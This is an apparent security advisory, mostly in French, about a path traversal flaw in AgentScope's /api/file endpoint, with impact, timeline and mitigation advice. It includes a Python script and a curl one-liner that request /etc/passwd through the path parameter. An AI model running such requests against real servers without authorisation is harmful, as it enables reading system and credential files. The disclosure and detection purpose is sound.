Traversée de chemin (Path Traversal) dans AgentScope via /api/file

L'exploitation réussie de cette vulnérabilité permet à un attaquant d'accéder à des informations sensibles stockées sur le serveur, telles que des fichiers de configuration, des clés API, ou des données confidentielles. L'attaquant pourrait potentiellement compromettre l'intégrité du système et voler des informations sensibles. La surface d'attaque est relativement large, car toute personne ayant accès à l'API /api/file peut tenter d'exploiter cette faille. Bien qu'il n'y ait pas de cas d'exploitation publique connus à ce jour, la simplicité de l'exploitation rend cette vulnérabilité particulièrement préoccupante.

Organizations deploying Agentscope in production environments, particularly those with sensitive data stored on the same server, are at risk. Environments with weak access controls or inadequate input validation practices are especially vulnerable. Shared hosting environments where Agentscope is installed alongside other applications could also be affected if the vulnerability is exploited to gain access to other tenants' data.

• python / agentscope:

import requests
import os

url = 'http://your-agentscope-server/api/file' # Replace with your server

try:
    # Attempt to read a sensitive file
    response = requests.get(url + '?path=/etc/passwd')
    if response.status_code == 200:
        print('Potential Path Traversal Detected!')
        print(response.text)
    else:
        print('No Path Traversal Detected.')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

• generic web:

curl 'http://your-agentscope-server/api/file?path=../../../../etc/passwd' -s | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. Réservé2024-09-04
2. Publiée2025-03-20
3. EPSS mis à jour2026-04-02

La mitigation immédiate consiste à mettre à jour Agentscope vers une version corrigée dès qu'elle sera disponible. En attendant, il est possible de limiter l'impact en configurant un pare-feu pour bloquer l'accès non autorisé à l'API /api/file. Une autre approche consiste à implémenter une validation stricte du paramètre path dans le code de l'API, en s'assurant que les chemins d'accès sont limités à un répertoire spécifique et sécurisé. Il est également recommandé de surveiller les journaux d'accès pour détecter toute tentative d'accès suspecte à l'API.